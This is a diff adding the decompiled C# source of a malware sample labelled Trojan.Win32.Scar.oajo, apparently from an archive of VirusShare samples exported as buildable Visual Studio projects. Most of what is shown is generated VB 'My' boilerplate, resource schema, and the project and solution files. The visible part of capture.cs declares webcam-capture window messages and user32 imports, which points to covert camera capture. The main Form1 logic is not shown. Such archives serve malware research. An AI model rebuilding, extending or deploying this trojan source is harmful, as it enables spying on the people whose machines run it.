+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.oajo-73c2744f575cfc2a701f2e9e007e619bd64c245aa21fa5e718d5bcd65237d589/My/MyApplication.cs

@@ -0,0 +1,48 @@
+// Decompiled with JetBrains decompiler
+// Type: Windows.My.MyApplication
+// Assembly: Windows, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 79C82968-ACCA-434D-B77A-E6AFF79DFC80
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Scar.oajo-73c2744f575cfc2a701f2e9e007e619bd64c245aa21fa5e718d5bcd65237d589.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Windows.Forms;
+
+namespace Windows.My
+{
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  internal class MyApplication : WindowsFormsApplicationBase
+  {
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerHidden]
+    [STAThread]
+    internal static void Main(string[] Args)
+    {
+      try
+      {
+        Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
+      }
+      finally
+      {
+      }
+      MyProject.Application.Run(Args);
+    }
+
+    [DebuggerStepThrough]
+    public MyApplication()
+      : base(AuthenticationMode.Windows)
+    {
+      this.IsSingleInstance = false;
+      this.EnableVisualStyles = false;
+      this.SaveMySettingsOnExit = false;
+      this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
+    }
+
+    [DebuggerStepThrough]
+    protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
+  }
+}

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.oajo-73c2744f575cfc2a701f2e9e007e619bd64c245aa21fa5e718d5bcd65237d589/My/MyComputer.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: Windows.My.MyComputer
+// Assembly: Windows, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 79C82968-ACCA-434D-B77A-E6AFF79DFC80
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Scar.oajo-73c2744f575cfc2a701f2e9e007e619bd64c245aa21fa5e718d5bcd65237d589.exe
+
+using Microsoft.VisualBasic.Devices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+
+namespace Windows.My
+{
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  internal class MyComputer : Computer
+  {
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [DebuggerHidden]
+    public MyComputer()
+    {
+    }
+  }
+}

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.oajo-73c2744f575cfc2a701f2e9e007e619bd64c245aa21fa5e718d5bcd65237d589/My/MyProject.cs

@@ -0,0 +1,212 @@
+// Decompiled with JetBrains decompiler
+// Type: Windows.My.MyProject
+// Assembly: Windows, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 79C82968-ACCA-434D-B77A-E6AFF79DFC80
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Scar.oajo-73c2744f575cfc2a701f2e9e007e619bd64c245aa21fa5e718d5bcd65237d589.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.Collections;
+using System.ComponentModel;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace Windows.My
+{
+  [StandardModule]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [HideModuleName]
+  internal sealed class MyProject
+  {
+    private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
+    private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
+    private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
+
+    [DebuggerNonUserCode]
+    static MyProject()
+    {
+    }
+
+    [HelpKeyword("My.Computer")]
+    internal static MyComputer Computer
+    {
+      [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Application")]
+    internal static MyApplication Application
+    {
+      [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.User")]
+    internal static User User
+    {
+      [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Forms")]
+    internal static MyProject.MyForms Forms
+    {
+      [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.WebServices")]
+    internal static MyProject.MyWebServices WebServices
+    {
+      [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
+    internal sealed class MyForms
+    {
+      public Form1 m_Form1;
+      [ThreadStatic]
+      private static Hashtable m_FormBeingCreated;
+
+      public Form1 Form1
+      {
+        [DebuggerNonUserCode] get
+        {
+          this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
+          return this.m_Form1;
+        }
+        [DebuggerNonUserCode] set
+        {
+          if (value == this.m_Form1)
+            return;
+          if (value != null)
+            throw new ArgumentException("Property can only be set to Nothing");
+          this.Dispose__Instance__<Form1>(ref this.m_Form1);
+        }
+      }
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T Instance) where T : Form, new()
+      {
+        if ((object) Instance != null && !Instance.IsDisposed)
+          return Instance;
+        if (MyProject.MyForms.m_FormBeingCreated != null)
+        {
+          if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
+            throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
+        }
+        else
+          MyProject.MyForms.m_FormBeingCreated = new Hashtable();
+        MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
+        try
+        {
+          return new T();
+        }
+        catch (TargetInvocationException ex) when (
+        {
+          // ISSUE: unable to correctly present filter
+          ProjectData.SetProjectError((Exception) ex);
+          if (ex.InnerException != null)
+          {
+            SuccessfulFiltering;
+          }
+          else
+            throw;
+        }
+        )
+        {
+          throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
+        }
+        finally
+        {
+          MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
+        }
+      }
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) where T : Form
+      {
+        instance.Dispose();
+        instance = default (T);
+      }
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public MyForms()
+      {
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyForms);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
+    internal sealed class MyWebServices
+    {
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      internal new System.Type GetType() => typeof (MyProject.MyWebServices);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public MyWebServices()
+      {
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [ComVisible(false)]
+    internal sealed class ThreadSafeObjectProvider<T> where T : new()
+    {
+      internal T GetInstance
+      {
+        [DebuggerHidden] get
+        {
+          if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
+            MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
+          return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
+        }
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public ThreadSafeObjectProvider()
+      {
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.oajo-73c2744f575cfc2a701f2e9e007e619bd64c245aa21fa5e718d5bcd65237d589/My/MySettings.cs

@@ -0,0 +1,73 @@
+// Decompiled with JetBrains decompiler
+// Type: Windows.My.MySettings
+// Assembly: Windows, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 79C82968-ACCA-434D-B77A-E6AFF79DFC80
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Scar.oajo-73c2744f575cfc2a701f2e9e007e619bd64c245aa21fa5e718d5bcd65237d589.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Configuration;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Threading;
+
+namespace Windows.My
+{
+  [CompilerGenerated]
+  [EditorBrowsable(EditorBrowsableState.Advanced)]
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
+  internal sealed class MySettings : ApplicationSettingsBase
+  {
+    private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
+    private static bool addedHandler;
+    private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
+
+    [DebuggerNonUserCode]
+    public MySettings()
+    {
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerNonUserCode]
+    private static void AutoSaveSettings(object sender, EventArgs e)
+    {
+      if (!MyProject.Application.SaveMySettingsOnExit)
+        return;
+      MySettingsProperty.Settings.Save();
+    }
+
+    public static MySettings Default
+    {
+      get
+      {
+        if (!MySettings.addedHandler)
+        {
+          object handlerLockObject = MySettings.addedHandlerLockObject;
+          ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
+          Monitor.Enter(handlerLockObject);
+          try
+          {
+            if (!MySettings.addedHandler)
+            {
+              MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
+              {
+                if (!MyProject.Application.SaveMySettingsOnExit)
+                  return;
+                MySettingsProperty.Settings.Save();
+              });
+              MySettings.addedHandler = true;
+            }
+          }
+          finally
+          {
+            Monitor.Exit(handlerLockObject);
+          }
+        }
+        return MySettings.defaultInstance;
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.oajo-73c2744f575cfc2a701f2e9e007e619bd64c245aa21fa5e718d5bcd65237d589/My/MySettingsProperty.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: Windows.My.MySettingsProperty
+// Assembly: Windows, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 79C82968-ACCA-434D-B77A-E6AFF79DFC80
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Scar.oajo-73c2744f575cfc2a701f2e9e007e619bd64c245aa21fa5e718d5bcd65237d589.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+
+namespace Windows.My
+{
+  [DebuggerNonUserCode]
+  [HideModuleName]
+  [StandardModule]
+  [CompilerGenerated]
+  internal sealed class MySettingsProperty
+  {
+    [HelpKeyword("My.Settings")]
+    internal static MySettings Settings => MySettings.Default;
+  }
+}

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.oajo-73c2744f575cfc2a701f2e9e007e619bd64c245aa21fa5e718d5bcd65237d589/My/Resources/Resources.cs

@@ -0,0 +1,46 @@
+// Decompiled with JetBrains decompiler
+// Type: Windows.My.Resources.Resources
+// Assembly: Windows, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 79C82968-ACCA-434D-B77A-E6AFF79DFC80
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Scar.oajo-73c2744f575cfc2a701f2e9e007e619bd64c245aa21fa5e718d5bcd65237d589.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Globalization;
+using System.Resources;
+using System.Runtime.CompilerServices;
+
+namespace Windows.My.Resources
+{
+  [DebuggerNonUserCode]
+  [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
+  [CompilerGenerated]
+  [HideModuleName]
+  [StandardModule]
+  internal sealed class Resources
+  {
+    private static ResourceManager resourceMan;
+    private static CultureInfo resourceCulture;
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static ResourceManager ResourceManager
+    {
+      get
+      {
+        if (object.ReferenceEquals((object) Windows.My.Resources.Resources.resourceMan, (object) null))
+          Windows.My.Resources.Resources.resourceMan = new ResourceManager("Windows.Resources", typeof (Windows.My.Resources.Resources).Assembly);
+        return Windows.My.Resources.Resources.resourceMan;
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static CultureInfo Culture
+    {
+      get => Windows.My.Resources.Resources.resourceCulture;
+      set => Windows.My.Resources.Resources.resourceCulture = value;
+    }
+  }
+}

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.oajo-73c2744f575cfc2a701f2e9e007e619bd64c245aa21fa5e718d5bcd65237d589/Resources.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.oajo-73c2744f575cfc2a701f2e9e007e619bd64c245aa21fa5e718d5bcd65237d589/Trojan.Win32.Scar.oajo.csproj

@@ -0,0 +1,54 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Scar.oajo-73c2744f575cfc2a701f2e9e007e619bd64c245aa21fa5e718d5bcd65237d589.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{562226A9-57BE-41D9-9621-3229D1AC2D6D}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>Windows</AssemblyName>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+    <RootNamespace>Windows</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.VisualBasic" />
+    <Reference Include="System" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="capture.cs" />
+    <Compile Include="Form1.cs" />
+    <Compile Include="My\MyApplication.cs" />
+    <Compile Include="My\MyComputer.cs" />
+    <Compile Include="My\MyProject.cs" />
+    <Compile Include="My\MySettings.cs" />
+    <Compile Include="My\MySettingsProperty.cs" />
+    <Compile Include="My\Resources\Resources.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="Form1.resx" />
+    <EmbeddedResource Include="Resources.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.oajo-73c2744f575cfc2a701f2e9e007e619bd64c245aa21fa5e718d5bcd65237d589/Trojan.Win32.Scar.oajo.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Windows", "Trojan.Win32.Scar.oajo-73c2744f575cfc2a701f2e9e007e619bd64c245aa21fa5e718d5bcd65237d589.csproj", "{562226A9-57BE-41D9-9621-3229D1AC2D6D}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{562226A9-57BE-41D9-9621-3229D1AC2D6D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{562226A9-57BE-41D9-9621-3229D1AC2D6D}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{562226A9-57BE-41D9-9621-3229D1AC2D6D}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{562226A9-57BE-41D9-9621-3229D1AC2D6D}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.oajo-73c2744f575cfc2a701f2e9e007e619bd64c245aa21fa5e718d5bcd65237d589/capture.cs

@@ -0,0 +1,80 @@
+// Decompiled with JetBrains decompiler
+// Type: Windows.capture
+// Assembly: Windows, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 79C82968-ACCA-434D-B77A-E6AFF79DFC80
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Scar.oajo-73c2744f575cfc2a701f2e9e007e619bd64c245aa21fa5e718d5bcd65237d589.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+using System.Diagnostics;
+using System.Runtime.InteropServices;
+
+namespace Windows
+{
+  [StandardModule]
+  public sealed class capture
+  {
+    public const short WM_CAP = 1024;
+    public const long WM_USER = 1024;
+    public const int WM_CAP_DRIVER_CONNECT = 1034;
+    public const int WM_CAP_DRIVER_DISCONNECT = 1035;
+    public const int WM_CAP_EDIT_COPY = 1054;
+    public const long WM_CAP_FILE_SAVEDIB = 1049;
+    public const long WM_CAP_FILE_SAVEAS = 1047;
+    public const int WM_CAP_SET_PREVIEW = 1074;
+    public const int WM_CAP_SET_PREVIEWRATE = 1076;
+    public const int WM_CAP_SET_SCALE = 1077;
+    public const int WS_CHILD = 1073741824;
+    public const int WS_VISIBLE = 268435456;
+    public const short SWP_NOMOVE = 2;
+    public const short SWP_NOSIZE = 1;
+    public const short SWP_NOZORDER = 4;
+    public const short HWND_BOTTOM = 1;
+
+    [DebuggerNonUserCode]
+    static capture()
+    {
+    }
+
+    [DllImport("user32", EntryPoint = "SendMessageA", CharSet = CharSet.Ansi, SetLastError = true)]
+    public static extern int SendMessage(int hwnd, int wMsg, int wParam, [MarshalAs(UnmanagedType.AsAny)] object lParam);
+
+    [DllImport("user32", EntryPoint = "SendMessageA", CharSet = CharSet.Ansi, SetLastError = true)]
+    public static extern long SendMessageAsString(
+      long hWnd,
+      long wMsg,
+      long wParam,
+      [MarshalAs(UnmanagedType.VBByRefStr)] ref string lParam);
+
+    [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
+    public static extern int SetWindowPos(
+      int hwnd,
+      int hWndInsertAfter,
+      int x,
+      int y,
+      int cx,
+      int cy,
+      int wFlags);
+
+    [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
+    public static extern bool DestroyWindow(int hndw);
+
